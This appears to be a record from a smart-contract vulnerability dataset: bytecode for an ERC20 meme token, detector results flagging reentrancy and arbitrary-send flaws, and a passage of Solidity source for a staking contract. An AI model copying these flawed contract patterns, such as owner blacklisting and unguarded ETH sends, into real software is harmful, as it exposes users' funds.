50565b60006009905090565b610be061125e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6490612f5f565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610c9261125e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1690612f5f565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dbb61125e565b73ffffffffffffffffffffffffffffffffffffffff1614610ddb57600080fd5b6000479050610de981611c54565b50565b6000610e36600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4f565b9050919050565b610e4561125e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec990612f5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4741490000000000000000000000000000000000000000000000000000000000815250905090565b600061100a61100361125e565b8484611431565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661105561125e565b73ffffffffffffffffffffffffffffffffffffffff161461107557600080fd5b600061108030610dec565b905061108b81611dbd565b50565b61109661125e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111a90612f5f565b60405180910390fd5b60008111611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f1f565b60405180910390fd5b611195606461118783683635c9adc5dea0000061204590919063ffffffff16565b6120c090919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111cc9190612fff565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cd90612fbf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611346576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133d90612edf565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114249190612fff565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149890612f9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611511576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150890612e7f565b60405180910390fd5b60008111611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f7f565b60405180910390fd5b61155c610f90565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115ca575061159a610f90565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b2d57600f60179054906101000a900460ff16156117fd573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164c57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117005750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117fc57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661174661125e565b73ffffffffffffffffffffffffffffffffffffffff1614806117bc5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117a461125e565b73ffffffffffffffffffffffffffffffffffffffff16145b6117fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f290612fdf565b60405180910390fd5b5b5b60105481111561180c57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118b05750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118b957600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119645750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119ba5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119d25750600f60179054906101000a900460ff165b15611a735742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a2257600080fd5b601e42611a2f9190613135565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a7e30610dec565b9050600f60159054906101000a900460ff16158015611aeb5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b035750600f60169054906101000a900460ff165b15611b2b57611b1181611dbd565b60004790506000811115611b2957611b2847611c54565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bd45750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bde57600090505b611bea8484848461210a565b50505050565b6000838311158290611c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2f9190612e5d565b60405180910390fd5b5060008385611c479190613216565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ca46002846120c090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ccf573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d206002846120c090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d4b573d6000803e3d6000fd5b5050565b6000600654821115611d96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8d90612ebf565b60405180910390fd5b6000611da0612137565b9050611db581846120c090919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611df557611df46133eb565b5b604051908082528060200260200182016040528015611e235781602001602082028036833780820191505090505b5090503081600081518110611e3b57611e3a6133bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128a4565b81600181518110611f2957611f286133bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f9030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611266565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ff495949392919061301a565b600060405180830381600087803b15801561200e57600080fd5b505af1158015612022573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561205857600090506120ba565b6000828461206691906131bc565b9050828482612075919061318b565b146120b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ac90612f3f565b60405180910390fd5b809150505b92915050565b600061210283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612162565b905092915050565b80612118576121176121c5565b5b6121238484846121f6565b80612131576121306123c1565b5b50505050565b60008060006121446123d3565b9150915061215b81836120c090919063ffffffff16565b9250505090565b600080831182906121a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a09190612e5d565b60405180910390fd5b50600083856121b8919061318b565b9050809150509392505050565b60006008541480156121d957506000600954145b156121e3576121f4565b600060088190555060006009819055505b565b60008060008060008061220887612435565b95509550955095509550955061226686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122fb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061234781612545565b6123518483612602565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123ae9190612fff565b60405180910390a3505050505050505050565b6000600881905550600f600981905550565b600080600060065490506000683635c9adc5dea000009050612409683635c9adc5dea000006006546120c090919063ffffffff16565b82101561242857600654683635c9adc5dea00000935093505050612431565b81819350935050505b9091565b60008060008060008060008060006124528a60085460095461263c565b9250925092506000612462612137565b905060008060006124758e8787876126d2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bf0565b905092915050565b60008082846124f69190613135565b90508381101561253b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253290612eff565b60405180910390fd5b8091505092915050565b600061254f612137565b90506000612566828461204590919063ffffffff16565b90506125ba81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126178260065461249d90919063ffffffff16565b600681905550612632816007546124e790919063ffffffff16565b6007819055505050565b600080600080612668606461265a888a61204590919063ffffffff16565b6120c090919063ffffffff16565b905060006126926064612684888b61204590919063ffffffff16565b6120c090919063ffffffff16565b905060006126bb826126ad858c61249d90919063ffffffff16565b61249d90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126eb858961204590919063ffffffff16565b90506000612702868961204590919063ffffffff16565b90506000612719878961204590919063ffffffff16565b9050600061274282612734858761249d90919063ffffffff16565b61249d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061276e612769846130b4565b61308f565b905080838252602082019050828560208602820111156127915761279061341f565b5b60005b858110156127c157816127a788826127cb565b845260208401935060208301925050600181019050612794565b5050509392505050565b6000813590506127da81613735565b92915050565b6000815190506127ef81613735565b92915050565b600082601f83011261280a5761280961341a565b5b813561281a84826020860161275b565b91505092915050565b6000813590506128328161374c565b92915050565b6000815190506128478161374c565b92915050565b60008135905061285c81613763565b92915050565b60008151905061287181613763565b92915050565b60006020828403121561288d5761288c613429565b5b600061289b848285016127cb565b91505092915050565b6000602082840312156128ba576128b9613429565b5b60006128c8848285016127e0565b91505092915050565b600080604083850312156128e8576128e7613429565b5b60006128f6858286016127cb565b9250506020612907858286016127cb565b9150509250929050565b60008060006060848603121561292a57612929613429565b5b6000612938868287016127cb565b9350506020612949868287016127cb565b925050604061295a8682870161284d565b9150509250925092565b6000806040838503121561297b5761297a613429565b5b6000612989858286016127cb565b925050602061299a8582860161284d565b9150509250929050565b6000602082840312156129ba576129b9613429565b5b600082013567ffffffffffffffff8111156129d8576129d7613424565b5b6129e4848285016127f5565b91505092915050565b600060208284031215612a0357612a02613429565b5b6000612a1184828501612823565b91505092915050565b600060208284031215612a3057612a2f613429565b5b6000612a3e84828501612838565b91505092915050565b600060208284031215612a5d57612a5c613429565b5b6000612a6b8482850161284d565b91505092915050565b600080600060608486031215612a8d57612a8c613429565b5b6000612a9b86828701612862565b9350506020612aac86828701612862565b9250506040612abd86828701612862565b9150509250925092565b6000612ad38383612adf565b60208301905092915050565b612ae88161324a565b82525050565b612af78161324a565b82525050565b6000612b08826130f0565b612b128185613113565b9350612b1d836130e0565b8060005b83811015612b4e578151612b358882612ac7565b9750612b4083613106565b925050600181019050612b21565b5085935050505092915050565b612b648161325c565b82525050565b612b738161329f565b82525050565b6000612b84826130fb565b612b8e8185613124565b9350612b9e8185602086016132b1565b612ba78161342e565b840191505092915050565b6000612bbf602383613124565b9150612bca8261343f565b604082019050919050565b6000612be2601a83613124565b9150612bed8261348e565b602082019050919050565b6000612c05602a83613124565b9150612c10826134b7565b604082019050919050565b6000612c28602283613124565b9150612c3382613506565b604082019050919050565b6000612c4b601b83613124565b9150612c5682613555565b602082019050919050565b6000612c6e601d83613124565b9150612c798261357e565b602082019050919050565b6000612c91602183613124565b9150612c9c826135a7565b604082019050919050565b6000612cb4602083613124565b9150612cbf826135f6565b602082019050919050565b6000612cd7602983613124565b9150612ce28261361f565b604082019050919050565b6000612cfa602583613124565b9150612d058261366e565b604082019050919050565b6000612d1d602483613124565b9150612d28826136bd565b604082019050919050565b6000612d40601183613124565b9150612d4b8261370c565b602082019050919050565b612d5f81613288565b82525050565b612d6e81613292565b82525050565b6000602082019050612d896000830184612aee565b92915050565b6000604082019050612da46000830185612aee565b612db16020830184612aee565b9392505050565b6000604082019050612dcd6000830185612aee565b612dda6020830184612d56565b9392505050565b600060c082019050612df66000830189612aee565b612e036020830188612d56565b612e106040830187612b6a565b612e1d6060830186612b6a565b612e2a6080830185612aee565b612e3760a0830184612d56565b979650505050505050565b6000602082019050612e576000830184612b5b565b92915050565b60006020820190508181036000830152612e778184612b79565b905092915050565b60006020820190508181036000830152612e9881612bb2565b9050919050565b60006020820190508181036000830152612eb881612bd5565b9050919050565b60006020820190508181036000830152612ed881612bf8565b9050919050565b60006020820190508181036000830152612ef881612c1b565b9050919050565b60006020820190508181036000830152612f1881612c3e565b9050919050565b60006020820190508181036000830152612f3881612c61565b9050919050565b60006020820190508181036000830152612f5881612c84565b9050919050565b60006020820190508181036000830152612f7881612ca7565b9050919050565b60006020820190508181036000830152612f9881612cca565b9050919050565b60006020820190508181036000830152612fb881612ced565b9050919050565b60006020820190508181036000830152612fd881612d10565b9050919050565b60006020820190508181036000830152612ff881612d33565b9050919050565b60006020820190506130146000830184612d56565b92915050565b600060a08201905061302f6000830188612d56565b61303c6020830187612b6a565b818103604083015261304e8186612afd565b905061305d6060830185612aee565b61306a6080830184612d56565b9695505050505050565b60006020820190506130896000830184612d65565b92915050565b60006130996130aa565b90506130a582826132e4565b919050565b6000604051905090565b600067ffffffffffffffff8211156130cf576130ce6133eb565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061314082613288565b915061314b83613288565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131805761317f61335e565b5b828201905092915050565b600061319682613288565b91506131a183613288565b9250826131b1576131b061338d565b5b828204905092915050565b60006131c782613288565b91506131d283613288565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561320b5761320a61335e565b5b828202905092915050565b600061322182613288565b915061322c83613288565b92508282101561323f5761323e61335e565b5b828203905092915050565b600061325582613268565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132aa82613288565b9050919050565b60005b838110156132cf5780820151818401526020810190506132b4565b838111156132de576000848401525b50505050565b6132ed8261342e565b810181811067ffffffffffffffff8211171561330c5761330b6133eb565b5b80604052505050565b600061332082613288565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133535761335261335e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61373e8161324a565b811461374957600080fd5b50565b6137558161325c565b811461376057600080fd5b50565b61376c81613288565b811461377757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636547616e677374612041706520496e75207c20742e6d652f47616e67737461417065496e75a2646970667358221220fb88c0d1f991aaf80b9b55b59fad967029f8eae2b3e3ccc838dd3c206f2deb2764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,575
0xefb4cc8c8967c0ad9747e2f6b8ed151ded8c06ec
/** *Submitted for verification at Etherscan.io on 2021-08-05 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract DynamicStaking is Context { using SafeMath for uint256; using Address for address; struct Staker { uint256 stakedBalance; uint256 stakedReward; uint256 stakedTimestamp; } bool private isActive; mapping(address => Staker) public stakers; address[] public stakersList; address private devX; IERC20 public inu; IERC20 public rewardToken; uint256 public startDate; uint256 public duration; uint256 public rewardAmount; string public name; event StakeINU(address user, uint256 amount); event UnstakeINU(address user, uint256 amount); event Collect(address user, uint256 amount); constructor( address _inu, address _rewardToken, address _devX, uint256 _duration, string memory _name ) public { inu = IERC20(_inu); rewardToken = IERC20(_rewardToken); devX = _devX; duration = _duration; name = _name; } modifier updateRewards() { uint256 len = stakersList.length; uint256 now_ = now; Staker storage user; for (uint256 i = 1; i <= len; i++) { user = stakers[stakersList[i - 1]]; user.stakedReward = user.stakedReward.add( getReward(stakersList[i - 1]) ); user.stakedTimestamp = now_; } _; } function getStakedBalance(address sender) public view returns (uint256) { return stakers[sender].stakedBalance; } function getRate() public view returns (uint256) { return rewardToken.balanceOf(address(this)); } function getStatus() public view returns (bool) { return isActive; } function setRewardAmount() external updateRewards { require(_msgSender() == devX, "Only Dev"); rewardAmount = rewardToken.balanceOf(address(this)); startDate = now; } function getReward(address account) public view returns (uint256) { Staker memory user = stakers[account]; uint256 currentReward = stakers[account].stakedReward; uint256 totalStaked = inu.balanceOf(address(this)); if ( getStakedBalance(account) == 0 || now >= (startDate + duration) || totalStaked == 0 || !getStatus() ) { return currentReward; } uint256 currentStaked = user.stakedBalance; uint256 timeRemaining = now.sub(user.stakedTimestamp); currentStaked = currentStaked.mul(timeRemaining).mul(rewardAmount); currentStaked = currentStaked.div(totalStaked).div(duration); return currentReward.add(currentStaked); } function setActive(bool bool_) external { require(_msgSender() == devX, "Not Dev"); require(isActive != bool_); isActive = bool_; } function stakeINU(uint256 _amount) external updateRewards { require(isActive, "Not Active!"); require(_amount > 0, "No negative staking"); require( 